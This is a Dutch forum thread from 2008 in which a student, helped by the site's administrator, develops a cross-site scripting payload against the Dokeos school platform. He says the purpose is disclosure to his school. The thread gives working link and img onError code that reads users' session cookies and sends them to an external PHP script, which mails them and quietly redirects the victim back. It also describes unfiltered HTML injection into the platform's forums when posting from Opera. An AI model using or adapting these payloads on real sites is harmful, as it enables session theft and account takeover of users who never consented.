Multidesk.be » Forums » PHP » cookie van andere site uitlezen

  • Pagina
  • 1 van 1
0 gasten lezen dit onderwerp.
^ Onderwerp geschreven door Kilian op maandag 29 september 2008 om 16:23:55.
Kilian heeft nog geen avatar toegevoegd
Multiviteit: 1629
Hallo,

Ik ben bezig met enkele beveiligningslekken te zoeken in een systeem dat we op school gebruiken. De leerkracht weet hiervan, en ik zal hem netuurlijk vertellen hoe het allemaal gelopen is.
Het gaat om dokeos. Ik kan al links posten met een javascript code erin verborgen (onclick:blabla) maar zou dit ook met afbeeldingen willen uitwerken.
Ik kan dmv php & GD library afbeeldingen aanroepen met php in, hoewel deze php op een andere server draait. Ik zou dus op 1 of andere manier de cookie via de afbeelding naar mijn server moeten zien te krijgen.

Ik herhaal: het is niet de bedoeling de bugs te misbruiken, maar om het systeem tegen zulke fouten te "beschermen", aangezien het door vele organisaties gebruikt wordt.

Misschien was ik niet echt duidelijk, maar ik weet niet echt hoe ik het moet uitleggen. Voor de zekerheid even een korte opsomming:

Bij het systeem is mijn bedoeling de cookie (van dat systeem) van de gebruiker uit te lezen. Ik kan dmv volgende code een link plaatsen met firefox:
CODE
  1.  
  2. a href="link" onclick="window.location='mijn server?url=link&text='+escape(document.cookie); return false;">tekst</a>
  3.  

Als ik deze code in een html bestandje zet, en dan de link naar het invoerveld in dokeos sleep verschijnt deze op dezelfde manier, en ook met dezelfde achterliggende javascript.

Met afbeeldingen kan ik dit ook doen. Dit is al een 1ste stap, maar als ik dmv de GD library van php een afbeelding laat zien, en intussen de cookie uitlees lukt dit niet. Dit omdat de php code de cookie van de server waar de afbeelding staat uitleest, en niet waar de afbeelding opgeroepen wordt.

Kent iemand het iets van?

Alvast bedankt
Kilian
^ Reactie #1 geschreven door Martijn op maandag 29 september 2008 om 17:09:53.
Martijn heeft nog geen avatar toegevoegd
Multiviteit: 13785
Beheerder
Je kan ook document.cookie in een variabele steken en die variabele achteraf als parameter (GET) doorgeven aan je image. In onderstaand voorbeeld zitten de cookiegegevens in de variabele a.

CODE
  1. <a href="javascript:var a=escape(document.cookie);alert(a);">Foo</a>
Met vriendelijke groeten,
Martijn Wouters
^ Reactie #2 geschreven door Kilian op maandag 29 september 2008 om 17:34:38.
Kilian heeft nog geen avatar toegevoegd
Multiviteit: 1629
Ik kwam op internet ook de onload functie tegen. Zou deze ook gebruikt kunnen worden?
^ Reactie #3 geschreven door Martijn op maandag 29 september 2008 om 17:46:05.
Martijn heeft nog geen avatar toegevoegd
Multiviteit: 13785
Beheerder
Om dat automatisch te doen, eventueel wel ja.
Met vriendelijke groeten,
Martijn Wouters
^ Reactie #4 geschreven door Kilian op maandag 29 september 2008 om 22:28:03.
Kilian heeft nog geen avatar toegevoegd
Multiviteit: 1629
DIt is nu gelukt. Ik heb het volgende
CODE
  1.  
  2. <img src="img" onError="javascript" onLoad="javascript">
  3.  

Nu zoek ik nog een manier om een bestand of afbeelding aan te roepen met de cookie in een GET variabele. Is er een functie die bv. een afbeelding opent zonder dat je naar een andere pagina geleid wordt?
^ Reactie #5 geschreven door Martijn op dinsdag 30 september 2008 om 06:50:04.
Martijn heeft nog geen avatar toegevoegd
Multiviteit: 13785
Beheerder
Wat met "this.src=afbeelding", waarbij je via de eerder gemelde techniek de cookie informatie doorspeelt? ;-).
Met vriendelijke groeten,
Martijn Wouters
^ Reactie #6 geschreven door Kilian op dinsdag 30 september 2008 om 21:39:38.
Kilian heeft nog geen avatar toegevoegd
Multiviteit: 1629
Het is gelukt!
CODE
  1.  
  2. <img name="plaatje" src="bestaatniet" onError="var cookie=document.cookie; var cookies=cookie.split('; '); if(cookies[1]==undefined){; var verloopt=new Date(); document.cookie='hacked=1;expires='+verloopt+''; window.location='php bestand?cookie='+document.cookie+'&url=de url naar de pagina waar de img staat');}">
  3.  


Aangezien we in GMT+2 zitten vervalt de cookie na 2u.
Het externe php bestand mailt de cookie door de mailfunctie, en dan door de headerfunctie terug naar de door mij opgegeven url. Als ik de url detzelfde maak als waar de afbeelding gepost wordt, merk je niets van dit.

Bedank voor de moeite, zal ze op school eens laten verschieten :)
^ Reactie #7 geschreven door Martijn op dinsdag 30 september 2008 om 22:06:27.
Martijn heeft nog geen avatar toegevoegd
Multiviteit: 13785
Beheerder
Blij dat je proof of concept gelukt is!

Je kan overigens de code iets overzichtelijker maken en kortere variabelen gebruiken, of je variabelen zelfs overschrijven (waarom cookie en cookies bijhouden als je ook gewoon c kan gebruiken).
Met vriendelijke groeten,
Martijn Wouters
^ Reactie #8 geschreven door Kilian op woensdag 1 oktober 2008 om 16:23:16.
Kilian heeft nog geen avatar toegevoegd
Multiviteit: 1629
Ik heb nog iets ontdekt, waardoor ik al die moeite niet moet doen. Als ik met Opera werk, en dan naar de dokeos omgeving ga, en vervolgens op de fora een berichtje wil posten wordt de javascript niet geladen. Dit heeft als gevolg dat ik HTML kan ingeven, en deze ook wordt uitgevoerd indien iemand het topic bekijkt.

Heb jij enig idee wat dit voor extra gevaar kan betekenen? Volgens mij kan ik via die manier geen PHP uitvoeren, maar misschien weet jij een omweg?
^ Reactie #9 geschreven door Martijn op woensdag 1 oktober 2008 om 17:17:31.
Martijn heeft nog geen avatar toegevoegd
Multiviteit: 13785
Beheerder
PHP Draaien op die server zal via die manier niet gaan he, dan moet je al files kunnen opladen. Dit betekent echter wel dat je mogelijk bepaalde zaken kan uitlezen, naargelang welke HTML je net kan invoegen.
Met vriendelijke groeten,
Martijn Wouters
^ Reactie #10 geschreven door Kilian op woensdag 1 oktober 2008 om 17:31:10.
Kilian heeft nog geen avatar toegevoegd
Multiviteit: 1629
Alle HTML is mogelijk. Omdat de javascript die de HTML omzet niet geladen wordt kan ik alles (opmaak, javascriptjes, ...) uitvoeren.
^ Reactie #11 geschreven door Martijn op woensdag 1 oktober 2008 om 17:35:09.
Martijn heeft nog geen avatar toegevoegd
Multiviteit: 13785
Beheerder
Javascript die HTML omzet? Dat is al helemaal onveilig; normaal wordt zoiets toch server side geregeld zou ik denken?

In dat geval kan je dus dezelfde code gebruiken die je in je eigen sites (waar je dus volledig beheer over hebt) zou gebruiken.
Met vriendelijke groeten,
Martijn Wouters
^ Reactie #12 geschreven door Kilian op woensdag 1 oktober 2008 om 18:02:55.
Kilian heeft nog geen avatar toegevoegd
Multiviteit: 1629
Ik vermoedde al dat je dat ging zeggen :)
Wel jammer dat ik niets serverside kan uitvoeren, misschien kan eens goed zoeken nog wat aan het licht brengen.

Enfin, bedankt allesinds. Ben een briefje aan het opstellen, en die gaat naar de school. Ik heb die leerkracht horen zeggen dat er in de tijd dat hij nog aan de Hogeschool Gent (waar dokeos mee ontwikkeld wordt) werkte dat er belongingen zouden geweest zijn voor mensen die fouten vonden.
Hopen dat het nog zo is zou ik zeggen, want dit is wel een groot lek.
Deze tekst werd het laatst bewerkt voor 0.1 % door Kilian op woensdag 1 oktober 2008 om 18:03:13.
^ Reactie #13 geschreven door Martijn op woensdag 1 oktober 2008 om 18:07:05.
Martijn heeft nog geen avatar toegevoegd
Multiviteit: 13785
Beheerder

Randinformatie

Dan gaat er toch wel een percent naar Multidesk.be zeker? ;)
Met vriendelijke groeten,
Martijn Wouters
^ Reactie #14 geschreven door Kilian op woensdag 1 oktober 2008 om 18:44:05.
Kilian heeft nog geen avatar toegevoegd
Multiviteit: 1629

Randinformatie

Hangt er vanaf hoeveel het is, maar een miljoentje zal ik wel kunnen missen denk ik :)
  • Pagina
  • 1 van 1

Snel-antwoordformulier
Toon uitgebreid antwoordformulier Bericht nalezen Bericht plaatsen